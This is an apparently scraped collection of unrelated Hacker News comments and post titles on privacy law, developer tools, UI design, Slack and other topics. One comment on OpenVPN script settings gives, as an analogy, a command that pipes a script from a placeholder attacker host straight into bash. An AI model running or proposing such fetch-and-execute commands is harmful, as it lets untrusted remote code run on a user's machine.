skysight-inc/HackerNews huggingface dataset:
This case presents a very interesting look at the different methods of Constitutional analysis. The gist of the majority's reasoning is that under Katz (the applicable precedent addressing the scope of the Fourth Amendment), what matters is that someone has a "reasonable" expectation of privacy in the subject of the search. Katz takes a classically functional approach to the question: it looks at (the Justices' conception of) what problem the text was trying to solve, and interprets the text in that context. It concludes that location data is protected because people reasonably expect that their whereabouts from cell tracking will be kept private.

The dissent takes a textual approach. It points out that the Constitutional text says nothing about "expectations of privacy" but rather protect's a specific person's property: It protects the "right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures." As Justice Thomas points out, it is undisputed that the cell phone records do not belong to the individual. Cell phone records are information about people, not "their" information. (Just like all of the records, Google, Facebook, etc., have about you remain Google, Facebook, etc.'s private property, not yours).

This case eviscerates third party doctrine. Third party doctrine can often be described in a Katz formulation (one cannot have a "reasonable" expectation of privacy in information you have chosen to share with third parties). But more deeply, it reflects the basic textual restriction in the Fourth Amendment to protecting things that are yours (not about you). It'll have major ramifications for similar searches directed at companies like Google, Facebook, etc., and may result in courts determining that warrants are required for such data requests as well.
Isn't part of the issue the network effect, not the file format?

(We can develop a whizzbang new compression algorithm, but unless Windows, macOS, iOS, Android, and all the flavors of Linux add support it can't go beyond the device)
This is really interesting, thanks for sharing.
How is a person being born different from a dying person? First has hope, dreams, enthusiasm and optimism. Latter may not.
So what happens when a company is acting on behalf of/as an extension of the government? And exactly how close can that relationship get?

If I'm a cell phone company and decide to just give the government access to all data I have pass through my systems, is that allowed? What if the government gives me some benefit in return for it?
What if the driver had seen the pedestrian and swerved, flipped the car and died? Would that be an offense against the driver? The only reason we consider the pedestrian to be the victim here is because in this specific instance, that is who died, but there are no lack of cases where a driver tries to avoid a collision and ends up dying as a result.
Matt?
Ah I see the plan here: Twitter knows their platform is a cesspool of abuse and harassment, but instead of fixing it they're pulling the rest of the internet down to their level so they stand out less!

Genius. /s
For anyone who considers this interesting and/or looking for alternatives: apart from the well-known Lua there's also MicroPython [1] whos specs actually read a lot like the specs of Gravity but then some more (well, it's Python 3.5 minus a couple of features, also compiles with C99 compilers, is fairly small for being a Python, embeddable, more mature at this point, been tested on more platforms/architectures, ...).

[1] http://micropython.org/ https://github.com/micropython/micropython/
Show team's open pull requests using slack
From what I understand they didn't use presses, but made prints manually, the same way traditional woodblock prints are made: ink the surface, put paper on top and rub it/press it down with a hand-held tool of some kind, instead of using a mechanical contraption to apply pressure.

They were advanced printmakers, but for some reason the printing press never happened.
Sure, but fortunately nothing nearly stupid enough to get me killed.
Are you really confused, or did you just phrase your comment that way to mock the parent comment?
In the majority opinion, even though it specifically notes its decision is narrow to this case, the requirement of a warrant is based on a more general test.

1) Does the individual have a reasonable and historically legal expectation of privacy over the information in question? (In this case, detailed location data and yes)

2) If the information is stored with a third party, does the user "affirmatively" turn over that information, or is it collected with or without their knowledge? (In this case, cell location data is the latter)

3) Is the data "detailed, encyclopedic, and effortlessly compiled" (this from Jones)?

4) Cell phones are "'such a
pervasive and insistent part of daily life' that carrying one is indispensable to participation in modern society".

This seems like a pretty positive expansion of digital privacy rights re: government searches. Specifically, cementing the Jones decision about pervasiveness and ease-of-dragnetting being a factor is good law.

As the reasoning is fairly clear and straightforward, one would hope the court would follow for similar devices (e.g. car GPS data or voice assistants).
It's funny that I think the opposite: Idea is the best IDE in the world and Gradle is very good build system.

I know very little about Android development, though.
I wish they would focus on backward compatibility of their IDE instead, every time I upgrade I need to spend several days on SO to figure out how to work around the newest breakage. This is from a part-time developer who doesn't have the time to keep up with the CATD[0] development model of Android's APIs and UIs.

[0] https://www.jwz.org/doc/cadt.html
Interesting. My 2013 BMW vibrates the steering wheel if it thinks I'm going to move sideways into something (and that includes fast moving cars coming from behind) or it beeps loudly if it thinks I'm going to hit something in front of my based on my speed and distance of the object in front. And its highly accurate IMHO. My take on self-driving is someone needs to hook up these signals to controls on the car - the "hard part" does a reliable job.
I believe location data for 911 calls is part of the TOS for the phone lines.
I wonder why they can’t import the necessary bees and eliminate most of the manual labor from the process?
In addition to my sibling comment, the practical risk is that instead of splashes skittering across your skin (probably harmlessly), gloves present an opportunity for LN to get trapped up against your skin, where it will most certainly burn you.
The counter-argument to many "design flaws" is, as a sibling comment mentioned, they may be "artifacts of the complexity of reality," especially constraints due to the fact that living things are built up from single cells and need to be functional during the growth process, as opposed to being pieced together like a robot from existing materials.

IANABiologist, but I think I've heard that the giraffe nerve has to grow that way due to the way it starts growing, or that there is a rare mutation that doesn't actually grow that way, but it doesn't get selected for, presumably due to some other side effect.

There are also counter-arguments related to constraints regarding human eyes... Octopus eyes are supposed to be superior, not backwards with no blind spot, but I think human eyes can see way farther outside of water.

(I welcome informed corrections to any ignorance I may be spouting).

Essentially, there's a lot of nuance between "maybe it's smart and we don't know it" and "these are definitely very serious design flaws" - whether you think things were intelligently designed, evolved, or intelligently designed via evolution, it seems reasonable to think there may be at least some reasons that a lot of things were selected to be the way they are, and not what may at first glance seem obviously better, at least if you haven't considered all the relevant constraints.
Ahem. "NOTE: the current — script-security setting may allow this configuration to call user-defined scripts"

By setting "script-security 2" in the config file, you are opting in to arbitrary script execution, and the binary even helpfully warns you about it. This doesn't happen by default.

(Of course, you could say "well it was already in the config, I didn't put it there", but that's akin to "curl evil.example.com/pwnme.sh | bash # I didn't inspect the file, not my problem what it contains")
For a few months, I tracked checking balance in a spreadsheet and did my best to extrapolate out payments and paychecks for a month. The idea was to (1) have checking live paycheck to paycheck, and put the rest in investments (2) figure out what the actual household monthly budget is and (3) simulate “affordable” mortgage payments based on income.

In practice, I managed to retime some of the monthly payments, lowering the variance of the account balance substantially, which created another $5-10k to invest. I also trimmed about $1k from the monthly budget with no lifestyle changes.

For online services, I recommend personal capital’s free tier. It is what Mint should have become.
Honestly, I think that's how life always is (this is the inner artist in me speaking).

You can have all this data on the outside, and it still speaks nothing of the person on the inside.

Companies can have every detail of your life parameterized and quantified, but people can always choose (i.e. get woke) to intentionally conform or to defy norms. Intentionally feed data that looks patterned, and then switch it up in a way that makes people scratch their heads and go 'huh'.

You can walk around with your phone in your pocket and have that awareness, e.g. "I am purposefully taking this route on my walk to work while listening to this music on repeat for 30 days" because you know people are going to draw some correlation.

You do 'know' things about those entities, namely, their brains are hooked on a drug called machine learning. That doesn't void you of your privacy.
>The inverse of "almost no one" is "almost everyone". When you say that "almost no one" reads warnings, you imply the set "almost everyone" is going to encounter problems.

That does not follow logically at all. Just because someone doesn't heed the warning doesn't mean they will fall victim to what they are being warned about. Think of it like jaywalking. "Almost no one" heeds the warnings about the dangers of jaywalking. That does not mean that "almost everyone" would be hit by a car. Someone being mindless of the dangers of an activity does not mean they will automatically succumb to those dangers, but that also doesn't mean that the dangers were not real, serious, and worth protecting against.
Corporate and national espionage are as old as time, and senior leadership needs to wise up to this threat. China is running the most broad and sophisticated IP espionage campaign in history, and most companies think a 15m PowerPoint about not responding to phishing emails is sufficient protection against this. Until we get some strong legislation on corporate data security, this is just going to keep happening.
5 reasons you shouldn’t ditch the iPhone and switch to Android – BGR
The judicial branch is just going to rubber stamp anything that the police say they want.
Yeah, I was amazed by this too. Even more amazed to see their competition's rates.
Users working around major internet sites who can't be bothered to comply with EU law, what's lost is convenience and Rule of Law. Sure I can put ear plugs in when every $carBrand goes past, but what's better is making cars with proper exhaust baffles.
The Constitution is binding only on the government; it is a document that lays out what the United States federal government, and, in a few cases, what the states of the United States can and cannot do.

The Bill of Rights is a set of 10 amendments that restrict what the federal government can do with respect to citizens. The 14th amendment extends those restrictions from the federal government to include state governments as well. (Since local governments are considered extensions of the state government's jurisdiction, it's included as well).

> IIRC there weren't corporations in the modern sense when the bill of rights was written.

The Virginia Company is a corporation in the modern sense that is literally the origin of the United States. Actually, if anything, corporations have gotten less powerful since the Bill of Rights; we don't have any companies running countries any more.
As a group response to the sibling comments I'll point out that yes I read the article, but my question related to something which the article didn't cover: did anyone lose prepaid services from their contracts? I can't see this being discussed in any of the coverage of the Smyte acquisition.
Generics are a design problem not an implementation problem.

If folks agreed on a design finding resources to get them added wouldn't be hard.

Not sure what you're trying to imply with your last sentence, but Go is used by many companies large and small for big development tasks. I work for a company where most of the backend systems are written in Go.
They're not really even hoops. We bought the dewar on Amazon, and we get it filled at a welding supply store. You just have to know what you're looking for. But I can't, like, go to Bed Bath & Beyond and get LN.
What about blaming the companies who decided to depend upon a service that they have no control over? I find arguing against using third party APIs to save a few days of development a constantly losing battle, with it being presented as a benefit with no costs or risks. Do those pushing/agreeing with such a view not share some blame?
I haven't read the opinion, but what I need to know is what is meant by "obtaining"? I really hope it was made clear that it is even getting the data, not just looking at it or accessing it. This is a crucial difference. More importantly, it could put legal burdens on companies to ask for a warrant before providing this information.

Also: "the decision also allows for warrantless cell-tower location information searches [...] for national-security purposes." Sigh.
In two companies where we had piloted Slack, I led successful campaigns to transition away from it.

Combining your choice of Email / IM client (Gmail / Hangouts or Outlook / Skype) satisfies 99% of use cases for Slack.

Overall we were less stressed and didn't miss a beat. I'm sure there are industries / companies working in areas that it makes sense - but I don't think it just works for everyone by default in the same way that IM and Email do.
Thousands, according to CPSC.
Yes, but now the police have to do the work of asking, which is better than nothing.
GOV.UK Design System
Design is hard and the value of it is difficult for most peolpe to quantify. So Material, and all other UI component libs, claim to offer an easy solution to a difficult, expensive, and seemlingly aestethic problem.

They don't. And when something like this has a connection to a company like Google, people simply don't question it.
Yes, let's import an alien species in a closed ecosystem. What could go wrong?
I agree, like most things, it's contextual. Making a user wait for a ripple effect every button press is ridiculous. Mind you, that most certainly isn't part of the Material Design spec.

However, if I've performed a destructive action, that is perhaps only reversible temporarily, then I absolutely don't mind being briefly interrupted to see a "trash" animation.
Duplicate. The top post right now.

https://news.ycombinator.com/item?id=17374440
I literally mute every channel except my direct team's channel. If you need me, @ me baby.
Show HN: ReadPaths – A Dependency Graph for Knowledge
Typically if articles need to be read in some order, the author chooses one order, so that the articles form a series or a tree, but some people recognize the superiority of a graph structure:

- Some textbooks have dependency graphs in the introduction.

- Some blog articles have links to other articles that they are a follow-up to.

ReadPaths (readpaths.com) lets you set dependents and dependencies for articles.

When you set article A as dependency of article B, on article B's page A is shown as dependent. Everyone can add dependents and dependencies, dependents and dependencies added by the author are shown separately, dependents and dependencies shown by other people are shown sorted by how many people added them.

On the front page the articles with the highest pagerank are shown in a graph, where a dependency is counted as a link. (In a sense these are the most important articles, if you started at a random article and tried to read a random dependency you would land on them.)

You can mark articles as "want to understand" and "have understood" so that you can find articles you need to understand (that several articles you want to understand depend on) and articles you can understand (that several articles you have understood depend on).
Gorsuch dissent is interesting. His position seems to be that the court's decision is not strong enough in its defense against these searches, not that he disagrees that a warrant is needed.
How Are You Protecting Your High Performers from Burnout?
I'm sorry, but I don't understand what you're saying. CPSC's Final Rule specifically says the action pertains only to magnets marketed as entertainment devices.
Maybe we need done standardised cookies for chosen locale, and such.
mind to share the setup?
Contrary to many here, I feel that it's perfectly reasonable to have a backup human driver if they are trained to act accordingly.

The Japanese pointing-and-calling technique comes to mind as a good example of keeping drivers engaged: they would have to continuously, actively point at dangers and at the car's appropriate response.

https://www.youtube.com/watch?v=9LmdUz3rOQU (quite fascinating to watch)

Combine this with short sessions (not driving around for hours with nothing to do), and I think the driver would have had a reasonable chance of preventing this accident.
The alternative is to start with basic HTML UI. Almost no styling. And build from there.

Understandably, few people like that advice because it doesn't make life easier. It does make your product better though, which is really all that matters.
Detecting what process is hitting the EC2 metadata server with BCC
hacker news aesthetic
Everyone is bashing the admin panel. Which one is the best according to HN based on functionality and design?
Does this outlaw stingray use by police? If I am near a suspect and they get all calls in the area, I would be tracked unlawfully?
I wonder how would this stack against MPI, PVM or another HPC setup.
Darwin himself was keenly aware of the danger of arrogance.

One of my favorite quotes from the Origin of Species:

"So profound is our ignorance, and so high our presumption, that we marvel when we hear of the extinction of an organic being; and as we do not see the cause, we invoke cataclysms to desolate the world, or invent laws on the duration of the forms of life!"
Own a generator, have a stock pile of food and water, have a well I can run with the generator. Have plenty of clothing that can last many years. It isn't about being able to be self sufficient for forever, but being able to be self sufficient for long enough to weather a disaster (last time hurricane took down power for a few weeks, I only had minor inconveniences and was able to focus on helping others who weren't nearly as well prepared). Yes, it costs money and not all people can afford it, but for businesses, it should be something they do plan for.
Java was released in Jan 1996, .NET in Feb 2002. A lot changed in those six years. .NET built on the shoulders of the giant that was Java, as well as the lessons from the globally accelerating development enabled by the internet.

Those early decisions may not have been technically right in some sense, but technical considerations are not the only factor.
Fun fact: I just did a search on a news database. Roughly 15% of stories that mention Twitter also mention Trump, and roughly half of those seem to be about Trump's tweets.

I don't know if Trump is really causing Twitter usage to increase, but it has certainly made people who don't use Twitter more aware of it.

If you compare the awareness/user ratio on the various social media platforms, I bet Twitter's is pretty high, which means they have potential for significant growth if they can improve the UX and the "how do I use Twitter? Why would anyone use it?" problem.
"Uncanny valley of sincerity" is the key thing here.

I regularly go to the same cafe for lunch. So some of the staff know me by name, but others who've just started working there don't. And I know their faces and one or two names. This is how it works on a normal human scale.

The corporate version of this delivers, as they say, asymmetrical friendliness. You see someone you've never met before and they know your name, birthday, etc. while you know nothing about them.

And especially in the airline context, all this is devoted to more perfect price discrimination. They know your favourite drinks order so they can sell you more drinks.
GitLab 11.0 Released with Auto DevOps and License Management
Granted, I guess I should have asked in the past tense? Why didn’t they? And why don’t local bees work in pollinating the vanilla vines?
This must have applications for VR as well.
I was deeply depressed and anxiety strikken during my entire adolescence. After dropping out of university at 20 I got diagnosed with ADHD and Bipolar. While sometimes I wish I'd had a normal life with parents that taught we good life lessons, in hindsight I feel like I've learnt even more fundamental lessons and have experienced some "truths" that I would not have experienced otherwise.
John Roberts: aligned chaotic-neutral.
I'd consider seniors with a minimum 5 years
Why should you move to a different country?

It's yours and you have every right to be there, and every right to complain about and protest things you don't like.
> a strong US military

One point I haven't seen raised here is that "a strong military" is not a one-dimensional proposition. The military does a lot of things in a lot of contexts, and they don't all have the same moral value.

If someone wants to build better Humvee armor for the US Army, I wouldn't criticize them at all. I don't think there's a reasonable case that better-armored Humvees are worse for the world. (Not least because we proved in 2003 that a lack of proper armor doesn't deter the US from starting wars.)

But I think the work Google engineers are likely to do for the US military is not likely to advance Pax Americana, which is mostly about a nuclear umbrella and secure international shipping lanes. Instead, it's very likely to abet either the drone war or mass surveillance, since those are closer to Google's area of expertise.

Quite a lot of people who are not strictly against US superpower status are still deeply opposed to the specific sorts of action Google would be best-placed to enable. And since they haven't actually signed on with the military, it seems totally reasonable that they would object to doing such work even if they do value a strong US military in other domains.
So you have to rewrite your modules for each platform so you're still tying yourself to one vendor and that still doesn't alleviate risks from migration or the large amount of regression testing -- just in case Amazon goes out of business or you can might be able to find an equivalent slightly cheaper?

If you are a small company, the difference isn't worth the risk and the expense. If you are a large company you can probable negotiate with Amazon.

That doesn't even take into account all of the dependencies that your developers have taken on AWS services....